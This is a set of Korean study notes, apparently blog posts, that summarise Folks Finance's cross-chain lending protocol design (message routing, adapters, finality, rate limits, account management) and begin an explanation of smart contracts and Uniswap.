전통적인 거래소와 같은 중앙 기관은 금융 시장에 대한 접근을 제한할 수 있는 권한을 가지고 있다. 이는 2021년에 로빈후드가 특정 자산에 대한 거래를 제한했을 때 명백하게 드러났다. 유니스왑과 같은 탈중앙화 거래소에서는 중앙 권한이 시장 접근을 변경하거나 제한할 수 없다. 이는 금융 시장에 공정성과 개방성을 도입한다.


스마트 계약은 신뢰 기반 시스템에 대한 의존을 최소화하여 과거에 반복적으로 실패했던 문제들을 해결한다.


스마트 계약의 기능


스마트 계약은 비교적 새로운 기술이지만 이미 다양한 시장을 변화시키기 시작했다. 스마트 계약은 블록체인에 '약속'을 코드로 나타낸다. 이 코드는 탈중앙화된 집단에 의해 실행되며, 단일 엔터티가 계약을 변경할 수 없게 한다. 계약과 그 조건은 공공 지식이 되며, 인간의 개입 없이 자동으로 실행된다. 더 많은 산업이 스마트 계약과 블록체인을 채택하고 있으며, 이는 신뢰 최소화된 계약 또는 깨지지 않는 약속으로 간단히 표현할 수 있다.


주의 사항


그러나 탈중앙화된 것처럼 보이지만 실제로는 그렇지 않은 플랫폼을 주의해야 한다. 2022년의 SBF의 FTX 플랫폼이 그 예다. FTX는 자신을 웹3 플랫폼으로 소개했지만 실제로는 스마트 계약의 이점을 누리지 못한 전통적인 웹2 회사였다.


 

 

Folks Finance사의 개발문서를 보고 Cross-Chain Lending Protocol이 어떻게 이루어졌고 구상되었는지 알아보기 위해 읽고 정리해보았다.


Cross-Chain Messaging Architecture


Cross-Chain Lending Protocol은 Wormhole 또는 Chainlink CCIP를 통해 메세지를 전송하는 것을 지원한다.


사용자가 Spoke 체인에서 거래를 시작할 때, 메세지를 중계할 GMP(Generic Messaging Protocol)를 지정할 수 있다. 일부 GMP는 모든 작업은 지원하지 않을 수 있고, 이 경우 사용자는 선택에 제한을 받게 된다. 프론트엔드는 사용자 경험이 더 많은 GMP를 기본적으로 선택하도록 한다고 한다.


설계는 유연성을 갖추어 최신 버전의 GMP로 업그레이드하고, 취약한 GMP를 제거하고 새로운 GMP를 추가할 수 있도록 했다. 또한 통합의 용이성도 고려되었다.



BridgeMessenger


추상 계약인 BridgeMessenger는 상속자들이 메시지를 송수신할 수 있게 한다. Spoke/Hub 스마트 계약은 메시지가 어떻게 전달되거나 수신되는지에 대한 내부 세부 사항을 알 필요 없이 사용에만 집중할 수 있다.


BridgeRouter


BridgeRouter는 사용 가능한 GMP(현재는 Wormhole과 Chainlink CCIP) 간의 차이점을 추상화한다. 이 계약은 GMP의 매핑을 포함하며, 새로운 GMP를 추가하고 기존 GMP를 제거하는 것을 지원한다.


BridgeRouter의 책임은 다음과 같다:


  1. 요청된 메시지를 지정된 GMP를 통해 보낸다.
  2. 수신된 메시지를 원하는 스마트 계약으로 전달한다.
  3. 실패한 메시지를 저장하여 재시도/역전시킨다.

 


IBridgeAdapter


인터페이스 IBridgeAdapter는 BridgeRouter에서 호출할 수 있도록 필요한 GMP의 구현을 지정한다. 각 GMP는 자신의 필요에 맞는 어댑터를 갖게 되며, 데이터만 보내거나 데이터와 토큰을 함께 보내는 등의 다양한 기능을 지원하기 위해 여러 어댑터를 가질 수 있다.


WormholeAdapter


WormholeAdapter는 IBridgeAdapter와 IWormholeReceiver를 구현한다. 이 어댑터는 BridgeRouter에서 보내는 메시지를 받아 Wormhole Automatic Relayer를 사용해 전송한다. 또한 다른 체인에서 보내진 메시지를 수신하고, 데이터를 BridgeRouter의 공통 형식으로 변환한다.


CCIPAdapter


CCIPAdapter는 IBridgeAdapter를 구현하고 CCIPReceiver로부터 상속받는다. 이 어댑터는 BridgeRouter에서 보내는 메시지를 받아 Chainlink Relayer를 사용해 전송한다. 또한 다른 체인에서 보내진 메시지를 수신하고, 데이터를 BridgeRouter의 공통 형식으로 변환한다.


Sending a Message


메시지를 보내기 위해서는 BridgeMessenger를 구현하고 sendMessage 함수를 호출해야 한다. 이 함수는 다음과 같은 매개변수를 가진다:


params MessageParams 메시지를 어떻게 보내고 어떤 설정을 사용할지에 관한 매개변수.
sender bytes32 메시지를 보낸 출처 주소. 일반적으로 Spoke나 Hub 계약 주소일 것이다.
destinationChainId uint64 목적지 체인의 식별자. 각 GMP는 자체 사전(dictionary)에서 chainIds를 가지고 있으며, BridgeRouter는 이러한 chainIds와 각 GMP의 chainIds 간의 매핑을 정의한다.
handler address 목적지 체인에서 수신된 메시지를 처리할 주소. 수신자와는 다른 주소다.
payload bytes 전송할 데이터. 호출된 작업에 따라 다르다.
finalityLevel uint8 메시지가 목적지 체인에서 수신되기 전에 기다려야 하는 최종성 수준. 해당 기능을 지원하지 않는 어댑터를 사용하는 경우 무시된다.
extraArgs bytes 업그레이드를 위해 설정 가능한 매개변수. 토큰 전송 시 값이 설정된다.

 


메시지 전송 예시


메시지가 내부적으로 어떻게 전송되는지 이해하기 위해 메시지 lifecycle 예시를 살펴보자.


Invite Address 작업 예시



사용자가 Spoke 체인에서 "Invite Address" 거래를 제출하고, CCIP를 사용하여 크로스체인 통신을 위한 의도를 전달한다고 가정하자.


"Invite Address" 작업의 구현은 Hub 체인으로 메시지를 보내야 한다. 따라서 Spoke는 다음 매개변수로 BridgeRouter를 호출한다:


 

params MessageParams - adapterId: uint16: CCIP 어댑터 식별자
- returnAdapterId: uint16: 0
- receiverValue: uint256: 0
- gasLimit: uint256: 지정된 가스 한도
- returnGasLimit: uint256: 0
sender bytes32 Spoke 스마트 계약 주소
destinationChainId uint64 Hub 체인 식별자
handler bytes Hub 스마트 계약 주소
payload bytes 사용자가 자신의 계정에 X 주소를 추가하는 요청을 인코딩한 데이터
finalityLevel uint8 CCIP가 이 기능을 지원하지 않기 때문에 무시됨
extraArgs bytes 빈 값

동작 과정


  1. BridgeRouter: 요청을 수신하고 원본 발신자가 유효한지 확인한다. 그 후, 메시지를 CCIPAdapter로 전달한다.
  2. CCIPAdapter: 전달받은 메시지를 수신하고 발신자가 BridgeRouter임을 확인한다. 그런 다음, 메시지를 CCIP에 필요한 형식으로 변환하여 Hub 체인의 해당 CCIP 어댑터에 메시지를 보낸다.

 


Receiving a Message


메시지를 수신하기 위해서는 BridgeMessenger를 구현하고 _receiveMessage 함수를 호출해야 한다. 이 함수는 수신된 메시지를 처리하는 로직을 인코딩하며, 다음과 같은 매개변수를 가진다:


messageId bytes32 어댑터와 결합된 메시지의 고유 식별자.
sourceChainId uint16 메시지가 전송된 체인.
sourceAddress bytes32 메시지가 전송된 주소.
handler bytes32 메시지를 처리할 스마트 계약의 주소. 컨텍스트 스마트 계약 주소와 동일해야 한다.
payload bytes 수신된 데이터. 호출된 작업에 따라 다르다.
returnAdapterId uint16 적용 가능한 경우, 반환 메시지를 라우팅할 어댑터.
returnGasLimit uint256 적용 가능한 경우, 반환 메시지의 가스 한도.

메시지 수신 예시


메시지가 내부적으로 어떻게 수신되는지 이해하기 위해 메시지 lifecycle 예시를 살펴보자.



Invite Address 작업 예시


Spoke 체인에서 전송된 "Invite Address" 거래는 Hub 체인에서 수신된다. Chainlink Relayer가 CCIPAdapter의 ccipReceive(...) 함수를 호출하여 메시지 발신자가 유효한지 확인한다. 발신자는 해당 Spoke 체인의 어댑터에서 오는 경우 유효한 것으로 간주된다. 어댑터는 메시지를 BridgeRouter에 필요한 공통 형식으로 변환한 후 receiveMessage(...) 함수를 호출한다.


messageId bytes32 어댑터와 결합된 메시지의 고유 식별자.
sourceChainId uint16 메시지가 전송된 체인.
sourceAddress bytes32 메시지가 전송된 주소.
handler bytes32 메시지를 처리할 스마트 계약의 주소. 컨텍스트 스마트 계약 주소와 동일해야 한다.
payload bytes 수신된 데이터. 호출된 작업에 따라 다르다.
returnAdapterId uint16 적용 가능한 경우, 반환 메시지를 라우팅할 어댑터.
returnGasLimit uint256 적용 가능한 경우, 반환 메시지의 가스 한도.

동작 과정


  1. BridgeRouter: 수신된 메시지가 알려진 어댑터에서 온 것인지 확인한다. 전달하기 전에 메시지 식별자와 메시지를 매핑에 저장한다. 이는 두 가지 목적을 가진다:
    • 동일한 메시지가 두 번 수신되지 않도록 보장한다.
    • 실패한 메시지를 나중에 다시 시도하거나 복구하기 위해 기록한다.
  2. BridgeMessenger: BridgeRouter의 호출을 확인하고, _receiveMessage 함수를 내부적으로 호출한다. 이 함수는 메시지를 적절하게 처리할 수 있도록 자유롭게 구현된다.

Round Trip Messages


GMPs(Generic Messaging Protocols)는 메시지를 보낼 때 수수료를 청구한다. 이 수수료에는 다음과 같은 고려 사항이 포함된다:


  • 메시지를 보내는 기본 수수료.
  • 자동 릴레이어를 사용하는 경우, 메시지 수신 시 가스 비용에 대한 수수료.
  • 자동 릴레이어를 사용하고 명시된 경우, 메시지 수신 시 가치 부착에 대한 수수료. 수수료는 일반적으로 소스 체인의 네이티브 가스 토큰으로 지불된다.

 


일부 작업은 메시지의 왕복이 필요하다. 다음은 그 과정이다:


  1. Spoke 체인에서 작업이 시작된다.
  2. Spoke 체인에서 Hub 체인으로 메시지가 전송된다.
  3. Hub 체인에서 메시지가 수신된다.
  4. Hub 체인에서 Spoke 체인으로 메시지가 다시 전송된다.
  5. Spoke 체인에서 메시지가 수신된다.

 


단계 4에서 발생하는 수수료는 어떻게 지불할 것인?


답은 단계 2에서 더 높은 수수료를 지불하여 단계 3에서 가치가 첨부되도록 하는 것이다. 이 메커니즘은 Wormhole에서 지원되지만 CCIP에서는 지원되지 않는다.


각 사용자는 Hub 체인에 메시지를 Spoke 체인으로 다시 보낼 수 있는 잔액을 가지게 된다. Spoke 체인에서 작업을 시작할 때, 사용자는 Hub 체인의 잔액을 늘리기 위해 추가 수수료를 지불할 옵션이 있다. 대안으로, 기존 잔액을 사용하거나 추가 수수료를 일부 또는 전혀 지불하지 않고 둘을 조합해서 사용할 수 있다.


또한, 사용자가 필요한 수수료를 과대 추정할 경우 추가 가치를 저장하여 나중에 사용하거나 인출할 수 있도록 Spoke 체인에 사용자 잔액을 정의한다.


Messaging Schema


메시지를 수신할 때, GMP는 메시지 식별자, 소스 체인 및 메시지의 소스 주소와 같은 몇 가지 공통 매개변수를 제공한다. 이러한 정보는 이미 포함되어 있으므로 메시징 스키마에 명시적으로 통합하지 않는다.

메시지의 첫 두 바이트는 메시지와 관련된 작업 유형을 인코딩한다. 다음 32 바이트는 메시지와 관련된 계정 ID를 나타낸다. 그 다음 32 바이트는 메시지와 관련된 사용자 주소를 나타낸다. 마지막으로, 다음 언타임드(untyped) 바이트 집합은 작업에 특정한 세부 사항을 인코딩하는 데 사용된다.



USDC Transfers


"To Bridge or Not To Bridge" 섹션에서 토큰 전송에 대한 하이브리드 접근 방식에 대해 설명했다. USDC와 기타 크로스체인 네이티브 토큰은 Hub 체인으로 브리지되고, 다른 모든 토큰은 각각의 Spoke 체인에 남아 있게 된다.


Circle CCTP를 사용하여 크로스체인 네이티브 USDC 전송을 지원한다. Circle CCTP의 depositForBurn 함수는 소스 체인에서 USDC를 소각한 후 목적지 체인에서 USDC를 발행한다. 발행된 USDC는 mintRecipient로 전송된다. depositForBurnWithCaller는 destinationCaller 주소만 목적지 체인에서 USDC를 발행할 수 있도록 제한한다.


프로토콜에서 USDC 전송은 프로토콜의 작업과 결합된다. 예를 들어, USDC 예치 작업이 있다. 따라서 우리는 작업을 인코딩한 메시지 수신과 USDC 발행의 원자적 실행을 원한다. 이것이 depositForBurnWithCaller 함수를 사용하여 destinationCaller를 GMP 메시지 핸들러와 동일한 주소로 지정하는 이유다.


Chainlink CCIP는 USDC 전송을 내부적으로 자동 처리하므로 다른 토큰 전송과 마찬가지로 네이티브 지원을 사용할 수 있다.


GMP 메시지와 CCTP 메시지를 모두 수신하므로, 메시지를 중계하기 전에 둘 모두에 대해 최종성을 기다려야 한다 (CCTP에 대한 증명).


Adapters


어댑터는 특정 GMP에서 메시지를 송수신하는 역할을 한다. 각 GMP를 지원하는 어댑터가 있으며, 이는 메시지의 소스 체인과 목적지 체인 모두에 배포되어야 한다.


GMP는 특정 작업이나 기능을 지원하기 위해 여러 어댑터를 가질 수 있다. 예를 들어, 사용자가 Wormhole 메시지를 Circle CCTP 전송과 결합하여 중계하려는 경우 해당 작업을 구현하는 특정 어댑터를 호출할 수 있다.


어댑터는 메시지가 알려진 소스 체인과 주소에서 온 것인지 확인하고, 형식이 올바른지 확인한 다음 메시지를 BridgeRouter로 전달한다.


CCIP Adapter


  • CCIPAdapter 계약은 CCIPReceiver로부터 상속받으며, _ccipReceive(...) 함수를 오버라이드한다.
  • 이 함수는 Client.Any2EVMMessage 형식으로 메시지를 수신한 후, BridgeRouter에 필요한 공통 형식으로 변환한다.

 


Wormhole Adapter


  • WormholeAdapter 계약은 IWormholeReceiver를 구현하고, receiveWormholeMessages(...) 함수를 구현한다.
  • 이 함수는 바이트 형식으로 메시지를 수신한 후, BridgeRouter에 필요한 공통 형식으로 변환한다.
  • 또한, WormholeAdapter는 기다려야 하는 최종성 수준을 지정할 수 있는 기능이 추가되었다.
  • "USDC Transfers" 섹션에서 설명한 바와 같이 CCTP 원자적 전송을 지원하기 위해 두 번째 WormholeAdapter 버전도 제공된다.

 


Hub Adapter


  • HubAdapter는 메시지 송수신 동작을 모방한다. 메시지의 소스 및 목적지 체인이 모두 Hub 체인을 가리킬 때 사용된다.
  • HubAdapter의 목적은 작업이 어디에서 오는지에 관계없이 Hub Contracts와의 상호작용이 동일하게 유지되도록 하는 것이다.

 


Rate Limit on Cross-Chain Value Transferred


위험을 최소화하고 잠재적인 손실을 제한하기 위해 일정 기간 내에 프로토콜에서 인출할 수 있는 최대 금액에 대해 한도를 설정한다. RateLimited 스마트 계약이 각 Spoke 체인에 배포되어 지원되는 각 토큰에 대한 한도를 설정한다.


매개변수 정의


period uint32 현재 기간 번호. 예를 들어, 기간 길이가 하루로 정의된 경우 각 새로운 날은 기간 번호를 1씩 증가시킨다.
limit uint128 기간당 소비할 수 있는 최대 값.
capacity uint128 새 기간마다 한도로 재설정되는 실제 용량.

Rate Limiting Mechanism



예를 들어, 다음은 하루 동안의 기간과 20 ETH의 최대 한도를 나타낸다:


  • Repay: 5 ETH 반환 -> 용량: 25 ETH
  • Borrow: 20 ETH 대출 -> 용량: 5 ETH (추가 대출 불가)
  • Withdraw: 10 ETH 인출 -> 용량: 10 ETH (이후 대출 가능)

고려 사항


  • 서비스 거부 공격 방지: 공격자가 새로운 기간이 시작되기 전에 악의적으로 예치하고, 새로운 기간이 시작되면 즉시 인출하여 서비스를 거부할 수 있다. 이를 방지하기 위해 한도를 충분히 높게 설정하고, "핫 월렛"을 통해 현재 기간 동안 용량을 일시적으로 증대시킬 수 있다.
  • 토큰 가격 인식 부족: RateLimiter는 토큰 가격을 인식하지 못하므로, 주기적으로 각 버킷의 매개변수를 조정하여 사용성과 보안 간의 적절한 균형을 맞춘다.

 


Account Management


사용자의 Folks Finance 계정을 정의하며, 이 계정은 사용자의 자산을 바탕으로 모든 정보를 포함하고 대출 기능을 가능하게 한다. 계정은 블록체인 주소를 사용하여 관리된다. 각 계정에는 고유한 bytes32 식별자가 있다.


크로스체인 계정 관리


크로스체인 환경에서 계정을 관리하는 것은 어떻게 하는가? 사용자는 여러 블록체인을 사용하여 자신의 계정을 관리하기를 원한다.


이는 주소를 (체인 식별자, 체인 주소) 튜플을 사용하여 식별한다. 이 두 속성의 조합은 중복 없이 단일 엔터티를 고유하게 식별한다. 모든 주소 형식을 지원하기 위해, 우리는 address 대신 bytes32 형식을 사용한다.


사용자 경험을 단순화하기 위해, 계정 당 Spoke 체인에 최대 하나의 주소만 등록할 수 있도록 제한한다. 따라서 사용자가 예를 들어 ETH를 대출하는 경우, 사용자에게 등록된 Ethereum 주소로 ETH를 받을 것이라고 가정할 수 있다.


또한 (체인 식별자, 체인 주소) 쌍을 여러 계정에 등록할 수 없도록 제한한다. 이는 사용자가 다른 계정에 있다는 것을 인식하지 못한 채 프로토콜과 상호작용하는 상황을 방지하기 위함이다. 하나의 주소 당 하나의 계정은 사용자가 제어하는 주소를 자신의 계정에 추가하여 동일한 계정을 자신에게 사용하지 못하게 하는 서비스 거부 공격 가능성을 없앤다. 따라서 초대와 수락 개념을 사용한다. 기존 계정의 등록된 주소는 다른 Spoke 체인의 주소를 초대할 수 있다. 초대받은 주소는 계정에 등록되기 전에 초대를 수락해야 한다.



다이어그램 설명


  • T1: Chain B에서 주소 0x3Da가 주소 0xJT5를 초대한다.
  • T2: Chain A에서 주소 0xJT5가 초대를 수락한다.
  • Hub Chain: Bob의 계정에는 초대된 주소(Chain B의 0x3Da)와 수락된 주소(Chain A의 0xJT5)가 포함된다.

 


Delegatable


크로스체인 대출 프로토콜 위에 다른 프로토콜이 구축될 수 있도록, 계정을 관리할 수 있는 또 다른 주소 집합을 활성화한다. 이를 "delegated address"라고 한다. 이들은 Hub 체인에서만 사용할 수 있으며, 계정은 원하는 만큼 많이 추가할 수 있다. 동일한 주소가 여러 계정에 delegate수도 있다.

이 주소들은 크로스체인 대출 프로토콜을 내부적으로 사용하는 Hub 체인의 다른 스마트 계약이 될 것이다.

 

Folks Finance사의 개발문서를 보고 Cross-Chain Lending Protocol이 어떻게 이루어졌고 구상되었는지 알아보기 위해 읽고 정리해보았다.


Cross-Chain Lending Protocol을 구축하는 이유


  • 대출 프로토콜(lending protocol)에서 가장 중요한 요인은 유동성이다. 안정적인 코인이 예치되어 있다면 사용자들은 필연적으로 대출하게 된다. 더 많은 블록체인에 연결함으로써 안정적인 코인을 공급할 수 있는 기회와 용이성이 증가하게 된다.
  • 사용자들은 편리함을 선호한다. 사용자는 자신이 선호하는 지갑과 익숙한 블록체인을 통해 프로토콜과 상호작용하기를 원한다. 따라서 Cross-Chain 프로토콜은 사용자들에게 일반적으로 진입 장벽이 낮다.

 

여기서 주의해야 할 점은 Cross-Chain과 Multi-Chain의 차이이다. "Multi-Chain"은 동일한 프로토콜을 여러 블록체인에 배포하는 것을 의미하는 반면, "Cross-Chain"은 단일 프로토콜을 여러 블록체인에 배포하는 것을 의미한다.


"Multi-Chain" 프로토콜은 사용자가 배포된 블록체인에 따라 원하는 특정 인스턴스를 선택할 수 있게 함으로써 편리성 문제를 해결한다. 그러나 유동성 문제를 해결하지는 못한다. Multi-Chain에서는 서로 고립된 여러 프로토콜 복사본이 존재하여 한 프로토콜에 예치된 자산을 다른 프로토콜에서 대출할 수 없다. 반면에 Cross-Chain은 어떤 체인에 있든 상관없이 모든 유동성을 사용할 수 있어서 Multi-Chain보다 자본 효율성이 훨씬 높다.


특히 대출 프로토콜의 경우, Cross-Chain의 또 다른 이점은 사용자가 한 체인에 예치된 자금을 담보로 다른 체인의 자금을 대출할 수 있다는 점이다. 만약 Cross-Chain 프로토콜이 없다면, 사용자는 자신이 담보로 사용할 자산을 대출하고자 하는 블록체인으로 이동(브릿지)시켜야 한다. 이 과정은 여러 단계를 거쳐야 하는 복잡하고 번거로운 과정이다. 예를 들어, Ethereum 블록체인에 ETH를 예치했지만, Binance Smart Chain(BSC)에서 대출을 받고자 한다면, 사용자는 ETH를 BSC로 브릿지해야 한다. 이 과정은 시간이 걸리고 수수료가 발생할 수 있다. 또한 브리지된 자산은 종종 래핑(wrapped)되어 사용된다(예: ETH → BSC ⇒ wrapped ETH(wETH)). 사용자는 해당 블록체인에서 wETH를 담보로 받아들이는 대출 프로토콜을 찾아야 한다. 모든 대출 프로토콜이 래핑된 자산을 담보로 받아들이는 것은 아니므로, 이 과정은 복잡하고 제한적일 수 있다. 일부 블록체인에서는 특정 자산의 브리지나 래핑이 불가능할 수 있다. 따라서 사용자는 원래의 자산을 다른 체인에서 사용할 수 없게 되어 대출 자체가 불가능해질 수 있다. Cross-Chain 프로토콜은 이러한 문제를 해결한다. 사용자는 자신이 예치한 자산을 어느 블록체인에서든지 담보로 사용할 수 있기 때문에 브리지나 래핑 과정이 필요 없고, 자산을 쉽게 대출할 수 있다.


Hub & Spoke Architecture


Hub & Spoke 모델은 주변 블록체인을 중앙 Hub 블록체인에 연결하는 일련의 Spokes가 있다.



아키텍처 개요


  • Hub 체인과 Spoke 체인 간의 통신: Hub 체인과 Spoke 체인은 Generic Messaging Protocol(GMP)을 사용하여 상호 통신한다. 이 경우, 사용될 GMP는 Wormhole과 Chainlink CCIP이다.
  • 프로토콜 상태 저장: 프로토콜의 전체 상태는 Hub 체인에 저장된다. 대출 기능과 관련된 상태는 Spoke 체인에 저장되지 않으며, Spoke 체인에는 Hub 체인과의 통신 방법과 관련된 상태만 저장된다. 이러한 결정의 주요 이유는 체인 간 상태 비동기성과 경합 조건을 피하기 위해서다.

 

To Bridge or Not To Bridge


위에서 프로토콜 상태가 오직 Hub 체인에만 존재한다는 것을 확인했다. 그러나 프로토콜 토큰이 Hub 체인으로 브리지될 것인지 아니면 각각의 Spoke 체인에 남아 있을 것인지에 대한 추가적인 질문이 있다.


브리징의 장단점을 모두 고려하여 하이브리드 접근 방식을 채택했다. 일부 토큰은 Hub 체인으로 브리지되고, 일부 토큰은 각각의 Spoke 체인에 남아 있을 것이다.


하이브리드 접근 방식


  • Hub 체인으로 브리지되는 토큰:
    • USDC와 기타 크로스체인 네이티브 토큰은 Hub 체인으로 브리지된다.
    • 브리지 선택은 토큰에 따라 다르며, 토큰의 래핑된 버전이 생성되지 않는 브리지를 사용할 것이다.
    • 예를 들어, USDC의 크로스체인 네이티브 전송을 원활하게 하기 위해 Circle CCTP를 사용할 것이다.
    • 사용자는 지원되는 Spoke 체인 중 어느 체인에서나 이러한 토큰을 예치하고 대출할 수 있다(토큰과 브리지 쌍이 원하는 블록체인을 지원하는 경우).
  • Spoke 체인에 남아 있는 토큰:
    • AVAX와 같은 Spoke 가스 토큰은 각각의 Spoke 체인에 남아 있을 것이다.
    • 사용자는 이 토큰을 해당 Spoke 체인에서만 예치하고 대출할 수 있다.
    • 사용자가 이러한 토큰을 다른 Spoke 체인에서 받고자 한다면, 다른 Spoke 체인에서 받은 후에 추가적인 브리징 단계를 거쳐야 한다.
     

 


USDC

  • USDC 다이어그램: Chain A에서 예치된 USDC는 Hub 체인으로 전송되고, Chain B에서 대출된 USDC는 Hub 체인에서 출금되어 전달된다. Hub 체인은 예치와 대출 상태를 관리하며, 유동성을 유지한다.

 


ETH

  • ETH 다이어그램: Ethereum 체인에서 전송된 ETH는 Hub 체인으로 예치되고, Chain A에서 대출된 ETH는 Hub 체인에서 출금되어 전달된다. Hub 체인은 예치와 대출 상태를 관리하며, 유동성을 유지한다.

 

요약

  • 프로토콜 상태: 오직 Hub 체인에만 저장.
  • 토큰 브리징 전략:
    • 브리지되는 토큰: USDC 등, 크로스체인 네이티브 토큰 (예: Circle CCTP 사용).
    • 브리지되지 않는 토큰: AVAX 등, Spoke 체인의 가스 토큰.
  • 사용자 지침:
    • 브리지된 토큰은 여러 Spoke 체인에서 예치 및 대출 가능.
    • Spoke 체인의 가스 토큰은 해당 체인에서만 예치 및 대출 가능.
    • 다른 Spoke 체인에서 가스 토큰을 받고자 할 경우, 추가적인 브리징 필요.

 

Cross-Chain Communication and Finality


블록체인 네트워크에서 포크와 재구성


어떤 블록체인은 다음 Block Proposer가 누구인지 정의하지 않으며, 정의하는 경우에도 Proposer가 오프라인일 때 어떻게 복구할지 정의해야 한다. 이러한 상황은 네트워크가 포크(2개 이상의 유효한 블록이 존재하는 상황)될 수 있으며, 네트워크는 어떤 포크를 기준으로 체인을 구축할지 합의해야 한다.


포크는 네트워크의 다른 부분이 메인 체인에 대해 합의하지 못할 때 여러 블록 동안 지속될 수 있다. 결국 포크는 블록체인의 규칙에 따라 해결되지만, 버려진 블록에 포함된 모든 거래는 제거된다. 이 과정을 '재구성(re-org)'이라고 한다.



재구성 방지와 이중 지출 공격


재구성은 예상할 수 있지만, 재구성을 이용한 공격( Ex) Double Spend Attack : 이중 지출 공격 )을 방지하기 위해 조치를 취해야 한다. 예를 들어, 사용자가 Ethereum에서 Avalanche로 USDC를 브리지한다고 가정하자. 사용자는 Ethereum에서 USDC를 소각하는 거래를 제출하고, 브리지는 이 거래가 Ethereum 체인에 추가로 Avalanche에서 USDC를 발행한다. 그런데 Ethereum에서 재구성이 발생하여 소각 거래가 체인에서 제거되면, 공격자는 USDC를 Ethereum과 Avalanche에서 모두 사용할 수 있게 된다.


이러한 상황을 회피하기 위해서는 최종성(Finality) 개념을 고려해야 한다. 최종성은 거래가 최정적으로 간주되어 재구성이 불가능하거나 확률적으로 매우 희박한 상태를 의미한다.


사용자가 Spoke Chain에 자금을 예치하면 Hub Chain에 있는 Folks Finance 계정에 크레딧이 발생한다. 재구성이 발생하여 사용자의 자금이 스마트 계약에 도달하지 않은 경우, 사용자는 일종의 이중 지출 공격을 성공적으로 수행한 것이다. 이 예시에서 이중 지출 공격은 토큰 브리지뿐만 아니라 더 넓은 의미에서 ‘value’(자산, 화폐 등)를 브리지하는 것에도 적용될 수 있다. Spoke 체인에서는 예치와 상환 작업에 대해 최종성을 가져야 하며, Hub 체인에서는 인출과 대출 작업에 대해 최종성을 가져야 한다.



  • T1 시점:
    • Chain A (Spoke Chain)에서 예치가 발생하지만, 해당 블록이 아직 최종화되지 않음.
    • 따라서, 예치 메시지가 Hub 체인으로 전달되지 않음.
  • T2 시점:
    • Chain A에서 예치가 발생한 블록이 최종화됨.
    • 예치 메시지가 Hub 체인으로 전달되어 최종적으로 처리됨.

 


 

 

최종성을 고려하지 않아도 되는 경우


일부 작업, 특히 "가치"(예: 자산, 화폐)가 전송되지 않는 경우에는 최종성 여부가 중요하지 않다. 이러한 경우에는 사용자 경험을 향상시키기 위해 메시지를 즉시 중계할 수 있다. 네트워크에서 원래 거래가 제거되더라도 다시 제출할 필요가 없다.


예를 들어, 프로토콜에서 "Invite Address"라는 작업이 있다. 이 작업의 목적은 Folks Finance 대출 계정에 다른 체인의 주소를 추가하는 것이다. 추가된 주소는 기존 주소처럼 계정을 관리할 수 있다. (예: 인출, 다른 주소 초대 등)


사용자가 Spoke 체인에서 "Invite Address" 거래를 제출했다고 가정하자. 우리는 최종성을 기다리지 않고 메시지를 즉시 Hub 체인으로 중계한다. Hub 체인은 새로운 정보를 가지고 상태를 업데이트한다. 이후 Spoke 체인이 재구성(re-org)되어 원래 거래가 네트워크에서 제거된다 하더라도, 이 사실은 프로토콜에 아무런 영향을 미치지 않는다. 원래 거래의 목적은 사용자가 새로운 주소를 계정에 추가하고자 하는 의도를 나타내는 것이기 때문에, 이 거래에는 "가치"가 포함되지 않아 이중 지출 공격의 위험이 없다.



이 원칙은 프로토콜의 많은 작업에 적용된다. 사실, 인출 및 대출 작업의 일부에서도 최종성을 기다릴 필요가 없다. 사용자는 Spoke Chain A에서 ETH를 대출하고자 하는 요청을 제출할 수 있다.



사용자가 1 ETH를 대출하려는 요청을 나타내는 거래에 대해서는 최종성을 기다리지 않는다. 다시 말해, 이러한 거래는 사용자의 의도를 정의하는 데만 사용되기 때문이다. 그러나 Hub 체인에서 Spoke 체인으로 전송되는 메시지의 경우에는 최종성을 기다려야 한다. 이는 해당 메시지가 가치 전송을 인코딩하기 때문이다. Hub 체인은 사용자가 추가로 1 ETH를 대출받았음을 나타내도록 상태를 업데이트한다. 만약 사용자가 1 ETH를 받은 후에 이 거래가 Hub 체인에서 제거된다면, 사용자는 동일한 예치금을 사용해 더 많은 자금을 대출하거나 전액 인출할 수 있는 형태의 이중 지출 공격을 성공적으로 수행하게 된다.


현재 CCIP는 소스 체인 거래의 최종성 수준을 지정하는 기능을 제공하지 않는다. 따라서 이러한 유형의 거래에 대해서는 기본적으로 Wormhole을 사용할 것이다. 이 기능이 CCIP에 구현될 때까지 말이다.


요약


  • 최종성을 고려하지 않는 경우: "가치"가 전송되지 않는 작업에서는 최종성을 기다리지 않아도 된다.
  • 메시지를 즉시 중계하여 원래 거래가 제거되더라도 다시 제출할 필요가 없다.
  • 예시: Invite Address: Folks Finance 대출 계정에 다른 체인의 주소를 추가하는 작업으로, 최종성을 기다리지 않아도 된다.
  • 사용자가 1 ETH를 대출하려는 요청 거래는 사용자의 의도를 나타내므로 최종성을 기다리지 않는다.
  • 그러나 Hub 체인에서 Spoke 체인으로의 가치 전송 메시지는 최종성을 기다려야 한다.
  • 현재 CCIP는 소스 체인 거래의 최종성 수준을 지정할 수 없으므로 Wormhole을 사용한다.

Introduction


블록체인을 공부하다 보면 '스왑'이라는 말을 많이 들어봤을 것이다. 그중에서도 특히 Uniswap을 많이 접했을 것이다. 나는 이 Uniswap이 무엇이며, 어떤 역할을 하는지, 그리고 Uniswap에서 x * y = k라는 수식이 어떤 역할을 하는지 궁금했다. 지금부터 내가 전에 공부하면서 들었던 질문들을 중심으로 정리해보려고 한다.


Term


이 용어들은 아래 설명을 이해하는 데 도움이 된다. 한 번 읽고 나서 아래 글을 읽는 것을 추천한다.


오더북 (Order Book)


오더북은 거래소에서 매수 및 매도 주문이 나열되는 전자 장부이다. 매수 주문과 매도 주문이 각각 가격과 수량에 따라 정렬되어 있으며, 사용자는 이 오더북을 통해 원하는 가격에 주문을 넣을 수 있다. 매수 주문과 매도 주문이 일치할 때 거래가 성사되며, 호가창을 생각하면 쉽다.


유동성 (Liquidity)


유동성은 자산을 신속하게 매매할 수 있는 능력을 의미한다. 유동성이 높을수록 자산을 쉽게 사고팔 수 있으며, 시장 가격에 큰 영향을 미치지 않는다. 유동성이 낮으면 거래가 어려워지고, 가격 변동성이 커질 수 있다.


유동성 공급자 (Liquidity Provider)


유동성 공급자는 거래소에서 유동성을 제공하는 역할을 하는 참여자이다. 이들은 자신의 자산을 유동성 풀에 예치하여, 거래소에서 다른 사용자가 거래를 원할 때 해당 자산을 이용할 수 있게 한다. 유동성 공급자는 거래 수수료를 통해 보상을 받는다.


풀 (Pool)


